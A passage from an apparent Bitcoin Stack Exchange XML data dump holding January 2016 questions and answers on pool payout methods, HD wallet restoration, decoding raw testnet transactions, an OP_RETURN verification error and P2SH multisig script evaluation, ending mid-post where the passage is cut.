  <row Id="42503" PostTypeId="1" CreationDate="2016-01-22T00:42:55.787" Score="1" ViewCount="709" Body="&lt;p&gt;Which payout method is better, and why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting more money out with PPLNS, but everyone says using PPS is more effective, what am I doing right?&lt;/p&gt;&#xA;" OwnerUserId="31288" LastEditorUserId="5406" LastEditDate="2016-01-22T10:29:55.337" LastActivityDate="2016-01-22T10:29:55.337" Title="Payout method PPLNS or PPS?" Tags="|pool-payout-methods|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42504" PostTypeId="5" CreationDate="2016-01-22T03:15:08.510" Score="0" Body="&lt;p&gt;The hash rate is the measuring unit of the processing power of the Bitcoin network. The Bitcoin network must make intensive mathematical operations for security purposes. When the network reached a hash rate of 10 Th/s, it meant it could make 10 trillion hashes per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Source: &lt;a href=&quot;https://bitcoin.org/en/vocabulary&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/vocabulary&lt;/a&gt;‎&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-01-22T03:15:08.510" LastActivityDate="2016-01-22T03:15:08.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42505" PostTypeId="4" CreationDate="2016-01-22T03:15:08.510" Score="0" Body="The hash rate is the measuring unit of the processing power used to secure the Bitcoin network." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-01-22T03:15:08.510" LastActivityDate="2016-01-22T03:15:08.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42506" PostTypeId="2" ParentId="42500" CreationDate="2016-01-22T09:05:54.723" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;https://nxtforum.org/testnet/public-testnet-node/&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/testnet/public-testnet-node/&lt;/a&gt; for a description how to setup a testnet node.&lt;/p&gt;&#xA;" OwnerUserId="18874" LastActivityDate="2016-01-22T09:05:54.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42507" PostTypeId="5" CreationDate="2016-01-22T10:13:15.083" Score="0" Body="&lt;p&gt;A hash is the output of a hash function, a function which is a mathematically reproducible but irreversible process that takes in an arbitrary length input and produces a fixed length output. The same input will always result in the same output. Hash functions often create output which is random looking, and secure hash functions cannot be reversed, i.e. the input cannot be known just by having the hash, and two inputs are unlikely to result in the same output.&lt;/p&gt;&#xA;&lt;p&gt;Hashing is central to Bitcoin mining as part of the Proof of Work. In Bitcoin, the hash function used for the PoW is SHA256 double. Hashes are also used in Bitcoin addresses and as unique identifiers for blocks and transactions.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="121614" LastEditDate="2023-09-21T13:17:35.617" LastActivityDate="2023-09-21T13:17:35.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42508" PostTypeId="4" CreationDate="2016-01-22T10:13:15.083" Score="0" Body="A hash is the output of a hash function, a function which is a mathematically reproducible but irreversible process that takes in an arbitrary length input and produces a fixed length output. The same input will always result in the same output. Hashing is central to Bitcoin mining as well as the generation of Bitcoin addresses." OwnerUserId="5406" LastEditorUserId="121614" LastEditDate="2023-09-21T13:17:35.617" LastActivityDate="2023-09-21T13:17:35.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42509" PostTypeId="1" CreationDate="2016-01-22T12:09:39.530" Score="9" ViewCount="1169" Body="&lt;p&gt;I was trying to learn working of bitcoin and trying to understand the working of bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the behavior of how an HD wallet starts with an address and adds additional addresses later for receiving bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read bip-0032, but still am  confused. If I regenerate a wallet from the seed (in another mobile phone), how the system will populate the wallet with all previous addresses containing a balance? Will it try to download the earlier blockchain and search it, or is there another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we locate a list of all addresses we created with the HD wallet? How can we verify the balance of those addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that this question is going to receive down votes, please give me some ideas. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it would be helpful if somebody can share some links where I could get some help on clarifying doubts (not programming, general working).&lt;/p&gt;&#xA;" OwnerUserId="32247" LastEditorUserId="35795" LastEditDate="2016-05-24T09:08:58.313" LastActivityDate="2017-12-21T12:55:14.337" Title="How does restoring an HD wallet work?" Tags="|wallet|client|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42510" PostTypeId="1" CreationDate="2016-01-22T14:11:01.120" Score="7" ViewCount="6951" Body="&lt;p&gt;&lt;code&gt;createrawtransaction(...)&lt;/code&gt; in testnet returns this hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000010470c3139dc0f0882f98d75ae5bf957e68dadd32c5f81261c0b13e85f592ff7b0000000000ffffffff02b286a61e000000001976a9140f39a0043cf7bdbe429c17e8b514599e9ec53dea88ac01000000000000001976a9148a8c9fd79173f90cf76410615d2a52d12d27d21288ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know how to decode this with &lt;code&gt;decoderawtransaction&lt;/code&gt; but if I want to do this programmatically how can I do it? In other words, what is the exact encoding/format of this hex and how can I decode it into plain text or json using c# or some other language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decoded text should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;addresses&quot;: [&#xA;        &quot;miXoR8DUo5tQJyr6rkKMF2WKkrBRTb8tEV&quot;, &#xA;        &quot;mguTTnqj3ASi3YYtzGAoYrUqXGRjCTuovG&quot;, &#xA;        &quot;mt9Y1HCL8ntHrT5jX9kx1G86rGZ2bcyajh&quot;&#xA;    ], &#xA;    &quot;block_height&quot;: -1, &#xA;    &quot;block_index&quot;: -1, &#xA;    &quot;confidence&quot;: 0, &#xA;    &quot;confirmations&quot;: 0, &#xA;    &quot;double_spend&quot;: false, &#xA;    &quot;fees&quot;: 500000, &#xA;    &quot;hash&quot;: &quot;b020bdec4e92cb69db93557dcbbfcc73076fc01f6828e41eb3ef5f628414ee62&quot;, &#xA;    &quot;inputs&quot;: [&#xA;        {&#xA;            &quot;addresses&quot;: [&#xA;                &quot;miXoR8DUo5tQJyr6rkKMF2WKkrBRTb8tEV&quot;&#xA;            ], &#xA;            &quot;age&quot;: 2596, &#xA;            &quot;output_index&quot;: 0, &#xA;            &quot;output_value&quot;: 514729939, &#xA;            &quot;prev_hash&quot;: &quot;7bff92f5853eb1c06112f8c532ddda687e95bfe55ad7982f88f0c09d13c37004&quot;, &#xA;            &quot;script&quot;: &quot;&quot;, &#xA;            &quot;script_type&quot;: &quot;pay-to-pubkey-hash&quot;, &#xA;            &quot;sequence&quot;: 4294967295&#xA;        }&#xA;    ], &#xA;    &quot;lock_time&quot;: 0, &#xA;    &quot;outputs&quot;: [&#xA;        {&#xA;            &quot;addresses&quot;: [&#xA;                &quot;mguTTnqj3ASi3YYtzGAoYrUqXGRjCTuovG&quot;&#xA;            ], &#xA;            &quot;script&quot;: &quot;76a9140f39a0043cf7bdbe429c17e8b514599e9ec53dea88ac&quot;, &#xA;            &quot;script_type&quot;: &quot;pay-to-pubkey-hash&quot;, &#xA;            &quot;value&quot;: 514229938&#xA;        }, &#xA;        {&#xA;            &quot;addresses&quot;: [&#xA;                &quot;mt9Y1HCL8ntHrT5jX9kx1G86rGZ2bcyajh&quot;&#xA;            ], &#xA;            &quot;script&quot;: &quot;76a9148a8c9fd79173f90cf76410615d2a52d12d27d21288ac&quot;, &#xA;            &quot;script_type&quot;: &quot;pay-to-pubkey-hash&quot;, &#xA;            &quot;value&quot;: 1&#xA;        }&#xA;    ], &#xA;    &quot;preference&quot;: &quot;high&quot;, &#xA;    &quot;received&quot;: &quot;2016-01-22T12:58:23.224606219Z&quot;, &#xA;    &quot;relayed_by&quot;: &quot;54.167.150.115, 127.0.0.1&quot;, &#xA;    &quot;size&quot;: 119, &#xA;    &quot;total&quot;: 514229939, &#xA;    &quot;ver&quot;: 1, &#xA;    &quot;vin_sz&quot;: 1, &#xA;    &quot;vout_sz&quot;: 2&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/17ef279304a94ec01a8525189b80c163d931b1cf/src/rpcrawtransaction.cpp#L420&quot; rel=&quot;noreferrer&quot;&gt;decoderawtransaction in C++&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2016-01-24T03:23:10.407" Title="How to decode raw tx hex programmatically" Tags="|raw-transaction|encoding|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42511" PostTypeId="2" ParentId="197" CreationDate="2016-01-22T14:15:30.697" Score="1" Body="&lt;p&gt;To be honest all has been already said about this topic and all the competent previous posters are right in that Bitcoin is by design not reversible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to have all the facts at hand, one needs to mention also the event of March 2013 where Bitcoin underwent a 24 block reorganisation. Before people start screaming this was a network issue/program issue and no one did intentionally try to reverse a transaction - I know, it is just so no one can say afterwords, no one told me that was possible, even if it is a remote possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think people need to know that it is in fact possible, but very very unlikely. As I do not want to scare people away (and hopefully comply with other opinions on this matter and prevent any outrage) the probability is low and there is no incentive from miners to try something. &lt;/p&gt;&#xA;" OwnerUserId="32251" LastActivityDate="2016-01-22T14:15:30.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42515" PostTypeId="2" ParentId="12427" CreationDate="2016-01-22T18:35:25.127" Score="61" Body="&lt;h2&gt;For &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12427/can-someone-explain-how-the-bitcoin-blockchain-works/13347?noredirect=1#comment48998_13347&quot;&gt;user32260&lt;/a&gt;: Bill sells Sally some apples for £2.50&lt;/h2&gt;&#xA;&lt;p&gt;Bill is a fruit vendor. Sally wants to buy some apples for £2.50. Sally wishes to use Bitcoin to pay Bill for the apples. Bill presents Sally his payment address, for example as a quickresponse code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5HH5D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5HH5D.png&quot; alt=&quot;Bill's address&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sally uses a Bitcoin wallet on her smartphone to scan the code. She is presented a screen where she can enter an amount to send to Bill's address. She types '£2.50' and presses send. A moment later Bill's tablet notifies him that there is an incoming payment pending, which is not confirmed yet. About &lt;a href=&quot;https://bitcoin.stackexchange.com/q/855/5406&quot;&gt;ten minutes&lt;/a&gt; later, the payment is &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1170/5406&quot;&gt;finalized&lt;/a&gt; when it gets &lt;a href=&quot;https://bitcoin.stackexchange.com/q/146/5406&quot;&gt;confirmed&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Under the hood&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;1) The payment order (Transaction)&lt;/strong&gt;:&lt;br /&gt;&#xA;The software on Sally's smartphone checks whether Sally has a sufficient balance and then creates a payment order, which we'll call a &lt;em&gt;transaction&lt;/em&gt;. This transaction is composed of three pieces of information: which &amp;quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/4301/5406&quot;&gt;coins&lt;/a&gt;&amp;quot; get spend, the payment to the recipient, and a signature.&lt;br /&gt;&#xA;Sally's wallet is connected to other participants in the network. The wallet passes the transaction to all of them, who in turn forward it to all of their connections. Within a few seconds, every participant in the network has received notification of Sally's payment order. Each and every participant checks whether the referenced &amp;quot;coins&amp;quot; exist, and whether the signature matches the owner's.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2) Confirmation&lt;/strong&gt;:&lt;br /&gt;&#xA;So far, Sally's payment is only a promise, because the transaction is still &lt;em&gt;unconfirmed&lt;/em&gt;.&lt;br /&gt;&#xA;To change that, some network participants, which we'll call &lt;em&gt;miners&lt;/em&gt;, work on confirming these transactions. The miners grab all the unconfirmed transactions and try to pack them into a set. When this set doesn't fulfill the difficulty requirement, they reshuffle it and try again. Miners all over the planet are performing this work until at some point, somebody finds a set with the right properties: a &lt;strong&gt;valid block&lt;/strong&gt;. Because finding a valid block is such an unlikely event, the announcement of the new block proves that the network has expended work to find it.&lt;br /&gt;&#xA;Just as with the transactions before, the miner sends the block to all their connections, who in turn forward it. Every participant checks the work (to confirm that the block follows the rules) and when satisfied, applies the included transactions to their own ledger: the transactions get executed and the &amp;quot;coins&amp;quot; that were used by the senders get marked as spent, whereas the recipients gain new &amp;quot;coins&amp;quot; as instructed by the transactions. Sally's transaction (and all the others) is now confirmed. Bill can now spend the &amp;quot;coins&amp;quot; he received from Sally.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;3) The Blockchain&lt;/strong&gt;&lt;br /&gt;&#xA;Let's take a step back. Before Sally paid Bill, Sally got her bitcoins from Alice. The order of transactions is crucial as transactions can only spend &amp;quot;coins&amp;quot; that have already been created. Sally can't pay Bill if she didn't get the money from Alice first. The transactions have an explicit position in the block that confirms them and each block has a fixed position in the block chain by referencing its direct predecessor. E.g. &lt;code&gt;Block 90&lt;/code&gt; links to &lt;code&gt;Block 89&lt;/code&gt; as its predecessor, in turn &lt;code&gt;Block 89&lt;/code&gt; builds on &lt;code&gt;Block 88&lt;/code&gt;, and so forth, until &lt;code&gt;Block 1&lt;/code&gt; points at the 0th block, the &lt;code&gt;Genesis Block&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Genesis Block ← 1 ← … ← 88 ← 89 ← 90&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The eponymous &lt;strong&gt;blockchain&lt;/strong&gt; has useful properties:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Deterministic results&lt;/strong&gt;: Everyone can start from the &lt;code&gt;Genesis Block&lt;/code&gt; and apply each block consecutively to arrive at the same result.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Synchronization &amp;amp; Consensus&lt;/strong&gt;: When you have applied the latest block, the balances in your ledger have the exact same state as in all the other participants' ledgers.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Unchangeable History&lt;/strong&gt;: As each block builds upon its predecessor, each new block buries the history under more work (see graphic below):&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bYbZs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bYbZs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;http://spectrum.ieee.org/computing/networks/the-future-of-the-web-looks-a-lot-like-bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Illustration: Mark Montgomery/IEEE Spectrum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-10-25T19:43:07.360" LastActivityDate="2023-10-25T19:43:07.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42516" PostTypeId="1" CreationDate="2016-01-22T18:55:29.490" Score="6" ViewCount="2464" Body="&lt;p&gt;For some reason I keep getting &lt;code&gt;error: {&quot;code&quot;:-25,&quot;message&quot;:&quot;Missing inputs&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Updating error now that the full testnet blockchain is downloaded &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;code&quot;:-26,&quot;message&quot;:&quot;16: mandatory-script-verify-flag-failed (Operation not valid with the current stack size)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure why I am getting this error. Can someone help me debug or point me in the right direction ?  Using TESTNET3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000002f739b61642740a6f9b24859a30cf5f248722e9dd8f38f981e5d8a7c1f16354350100000000ffffffff0a31a52da8f2fc706d15025810eca7b6bfa53bdabcc5feefc5d55e1d2f728a170000000000ffffffff0290333200000000001976a9141ce00dca082ca1215c9e5a7a3237d267124fea3288ac00000000000000001a6a1857485920546573746e65742067697665206d65207061696e00000000&#xA;&#xA;&#xA;&#xA;{&#xA;&quot;Version&quot;: &quot;1&quot;,&#xA;&quot;LockTime&quot;: &quot;0&quot;,&#xA;&quot;Vin&quot;: [&#xA;    {&#xA;        &quot;TxId&quot;: &quot;355463f1c1a7d8e581f9388fdde92287245fcf309a85249b6f0a744216b639f7&quot;,&#xA;        &quot;Vout&quot;: &quot;1&quot;,&#xA;        &quot;ScriptSig&quot;: {&#xA;            &quot;Asm&quot;: &quot;&quot;,&#xA;            &quot;Hex&quot;: &quot;&quot;&#xA;        },&#xA;        &quot;CoinBase&quot;: null,&#xA;        &quot;Sequence&quot;: &quot;4294967295&quot;&#xA;    },&#xA;    {&#xA;        &quot;TxId&quot;: &quot;178a722f1d5ed5c5effec5bcda3ba5bfb6a7ec105802156d70fcf2a82da5310a&quot;,&#xA;        &quot;Vout&quot;: &quot;0&quot;,&#xA;        &quot;ScriptSig&quot;: {&#xA;            &quot;Asm&quot;: &quot;&quot;,&#xA;            &quot;Hex&quot;: &quot;&quot;&#xA;        },&#xA;        &quot;CoinBase&quot;: null,&#xA;        &quot;Sequence&quot;: &quot;4294967295&quot;&#xA;    }&#xA;],&#xA;&quot;Vout&quot;: [&#xA;    {&#xA;        &quot;Value&quot;: 0.0329,&#xA;        &quot;N&quot;: 0,&#xA;        &quot;ScriptPubKey&quot;: {&#xA;            &quot;Asm&quot;: &quot;OP_DUP OP_HASH160 1ce00dca082ca1215c9e5a7a3237d267124fea32 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;Hex&quot;: &quot;76a9141ce00dca082ca1215c9e5a7a3237d267124fea3288ac&quot;,&#xA;            &quot;ReqSigs&quot;: 1,&#xA;            &quot;Type&quot;: &quot;pubkeyhash&quot;,&#xA;            &quot;Addresses&quot;: [&#xA;                &quot;mi9dcxfvGTsDCs46UZXXYQ8JH5MLcGxMxz&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;Value&quot;: 0,&#xA;        &quot;N&quot;: 1,&#xA;        &quot;ScriptPubKey&quot;: {&#xA;            &quot;Asm&quot;: &quot;OP_RETURN 57485920546573746e65742067697665206d65207061696e&quot;,&#xA;            &quot;Hex&quot;: &quot;6a1857485920546573746e65742067697665206d65207061696e&quot;,&#xA;            &quot;ReqSigs&quot;: 0,&#xA;            &quot;Type&quot;: &quot;nulldata&quot;,&#xA;            &quot;Addresses&quot;: null&#xA;        }&#xA;    }&#xA;],&#xA;&quot;TxId&quot;: &quot;998221ecf0e85c1b3f1e06fbdfd5bb6b2957c244fcdbb8a2e2a8ad9b3270d440&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="32268" LastEditorUserId="32268" LastEditDate="2016-01-22T19:03:41.593" LastActivityDate="2016-08-20T00:14:38.257" Title="Testnet: mandatory-script-verify-flag-failed when doing OP_RETURN" Tags="|bitcoind|testnet|op-return|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42517" PostTypeId="2" ParentId="40942" CreationDate="2016-01-22T19:12:05.573" Score="1" Body="&lt;p&gt;I know this isn't helpful and I'm months late but I think there's a missing dependency issue going on here based on the fact that you keep getting a typedef error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef  ::boost::long_long_type            int64_t;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/shadow/shadow-plugin-bitcoin/wiki#boost&quot; rel=&quot;nofollow&quot;&gt;I recall reading an issue with the Boost library that you have to manually patch a file for boost 1.50, so this may be what that is referring to.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically down the rabbit hole of links, here is the patch for &lt;code&gt;trunk/boost/cstdint.hpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Index: trunk/boost/cstdint.hpp&#xA;===================================================================&#xA;--- a/trunk/boost/cstdint.hpp&#xA;+++ b/trunk/boost/cstdint.hpp&#xA;@@ -42,5 +42,8 @@&#xA; // See https://svn.boost.org/trac/boost/ticket/3548 and &#xA;http://sources.redhat.com/bugzilla/show_bug.cgi?id=10990&#xA;//&#xA;-#if defined(BOOST_HAS_STDINT_H) &amp;amp;&amp;amp; (!defined(__GLIBC__) || defined(__GLIBC_HAVE_LONG_LONG))&#xA;+#if defined(BOOST_HAS_STDINT_H)                                 \&#xA;+  &amp;amp;&amp;amp; (!defined(__GLIBC__)                                       \&#xA;+      || defined(__GLIBC_HAVE_LONG_LONG)                        \&#xA;+      || (defined(__GLIBC__) &amp;amp;&amp;amp; ((__GLIBC__ &amp;gt; 2) || ((__GLIBC__ == 2) &amp;amp;&amp;amp; (__GLIBC_MINOR__ &amp;gt;= 17)))))&#xA;&#xA; // The following #include is an implementation artifact; not part of interface.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5406" LastEditDate="2016-03-24T14:03:45.613" LastActivityDate="2016-03-24T14:03:45.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42518" PostTypeId="1" CreationDate="2016-01-22T19:21:15.313" Score="1" ViewCount="100" Body="&lt;p&gt;I had .95btc in cryptsy.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange is now bust with intermittent updates from 'big Vern'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The authorities don't seem to care, fellow crypto enthusiasts just say things like, 'oh how stupid, never leave your coin in an exchange'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any regulation around exchanges at all, so that if they go bust, some protocol must be followed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: Just to add cryptsy concealed the loss and continued to trade, if it were a bank there would be legal ramifications.  Exchanges are similar to banks, they have accounts with client money but none of the rules seem to apply.&lt;/p&gt;&#xA;" OwnerUserId="32270" LastEditorUserId="5406" LastEditDate="2016-01-23T12:46:39.377" LastActivityDate="2016-02-17T03:13:06.043" Title="Is there any come back when an exchange goes bust?" Tags="|exchanges|cryptsy|regulation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42519" PostTypeId="1" CreationDate="2016-01-22T19:24:00.990" Score="2" ViewCount="1973" Body="&lt;p&gt;I am looking to be able to calculate the public key from the transaction input.  The input is from a 'pay to public key' output.&lt;br&gt;&#xA;Can the public key of the input be generated from just the signature and the transaction that the input is in?&lt;/p&gt;&#xA;" OwnerUserId="32269" LastActivityDate="2016-03-26T02:22:15.933" Title="Is it possible to get the public key from a transaction input that is a 'pay to public key' output?" Tags="|signature|transaction-input|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42520" PostTypeId="2" ParentId="42516" CreationDate="2016-01-22T20:13:30.157" Score="1" Body="&lt;p&gt;Nevermind. Just noticed that the inputs were messed up . Correct decoded transaction below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;txid&quot;: &quot;5a15e2e0980ec2523d7a564cfd990dc9e435beeb4550f79723c65e753d368c13&quot;,&#xA;  &quot;version&quot;: 1,&#xA;  &quot;locktime&quot;: 0,&#xA;  &quot;vin&quot;: [&#xA;    {&#xA;      &quot;txid&quot;: &quot;355463f1c1a7d8e581f9388fdde92287245fcf309a85249b6f0a744216b639f7&quot;,&#xA;      &quot;vout&quot;: 1,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;3045022100db6505e9445c0030efdb7e2852771de8d6a7513c02487bfa3b2fae832e18d726022013395a3984e9d959c624fd5ad4d639e1820a0923090924d906415b3fbb54b9e901 0327b1cfc3981b27bccfc17937fc1b8b14091effee6fd9f2d1de8f0b6d46e90ec5&quot;,&#xA;        &quot;hex&quot;: &quot;483045022100db6505e9445c0030efdb7e2852771de8d6a7513c02487bfa3b2fae832e18d726022013395a3984e9d959c624fd5ad4d639e1820a0923090924d906415b3fbb54b9e901210327b1cfc3981b27bccfc17937fc1b8b14091effee6fd9f2d1de8f0b6d46e90ec5&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;      &quot;txid&quot;: &quot;178a722f1d5ed5c5effec5bcda3ba5bfb6a7ec105802156d70fcf2a82da5310a&quot;,&#xA;      &quot;vout&quot;: 0,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;3045022100d60838e19e6d18f4c964cba303afbe9975c693b25ccafe1abc8887246046c26b02205032c7863ac76a0030332e0128a3ff41f4d9061e4d02e0374c6254af4b92307001 0327b1cfc3981b27bccfc17937fc1b8b14091effee6fd9f2d1de8f0b6d46e90ec5&quot;,&#xA;        &quot;hex&quot;: &quot;483045022100d60838e19e6d18f4c964cba303afbe9975c693b25ccafe1abc8887246046c26b02205032c7863ac76a0030332e0128a3ff41f4d9061e4d02e0374c6254af4b92307001210327b1cfc3981b27bccfc17937fc1b8b14091effee6fd9f2d1de8f0b6d46e90ec5&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 4294967295&#xA;    }&#xA;  ],&#xA;  &quot;vout&quot;: [&#xA;    {&#xA;      &quot;value&quot;: 0.0329,&#xA;      &quot;n&quot;: 0,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 1ce00dca082ca1215c9e5a7a3237d267124fea32 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a9141ce00dca082ca1215c9e5a7a3237d267124fea3288ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;mi9dcxfvGTsDCs46UZXXYQ8JH5MLcGxMxz&quot;&#xA;        ]&#xA;      }&#xA;    },&#xA;    {&#xA;      &quot;value&quot;: 0,&#xA;      &quot;n&quot;: 1,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_RETURN 57485920546573746e65742067697665206d65207061696e2e204661696c696e6720626c6f636b6578706c6f72657273&quot;,&#xA;        &quot;hex&quot;: &quot;6a3057485920546573746e65742067697665206d65207061696e2e204661696c696e6720626c6f636b6578706c6f72657273&quot;,&#xA;        &quot;type&quot;: &quot;nulldata&quot;&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="32268" LastActivityDate="2016-01-22T20:13:30.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42521" PostTypeId="1" CreationDate="2016-01-22T21:04:07.847" Score="5" ViewCount="1076" Body="&lt;p&gt;Combining the spending transaction scriptSig and funding transaction scriptPubKey, we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;OP_0&amp;gt; &amp;lt;sig A&amp;gt; &amp;lt;sig C&amp;gt; &amp;lt;redeemScript&amp;gt; &amp;lt;OP_HASH160&amp;gt; &amp;lt;redeemScriptHash&amp;gt; &amp;lt;OP_EQUAL&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stepping through this script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)OP_0 and the two signatures are added to the stack, kept for later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)The redeemScript is added to the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)OP_HASH160 hashes our redeemScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4)redeemScriptHash is added to the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5)OP_EQUAL will compare OP_HASH160(redeemScript) and redeemScriptHash and check for equality. This confirms that our spending transaction is providing the correct redeemScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6)Now our redeemScript can be evaluated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;OP_2&amp;gt; &amp;lt;A pubkey&amp;gt; &amp;lt;B pubkey&amp;gt; &amp;lt;C pubkey&amp;gt; &amp;lt;OP_3&amp;gt; &amp;lt;OP_CHECKMULTISIG&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;7)OP_CHECKMULTISIG will look at the 3 public keys and 2 signatures in the stack, and compare them one by one. As stated earlier, the order of signatures matters here and must match the order that the public keys were provided in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8)OP_0 is included only to deal with an off-by-one error in Bitcoin Core when using OP_CHECKMULTISIG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i read several answers related to this topic and i read also the BIP16 but i still can not understand how after validation with &lt;code&gt;&amp;lt;OP_EQUAL&amp;gt;&lt;/code&gt;of 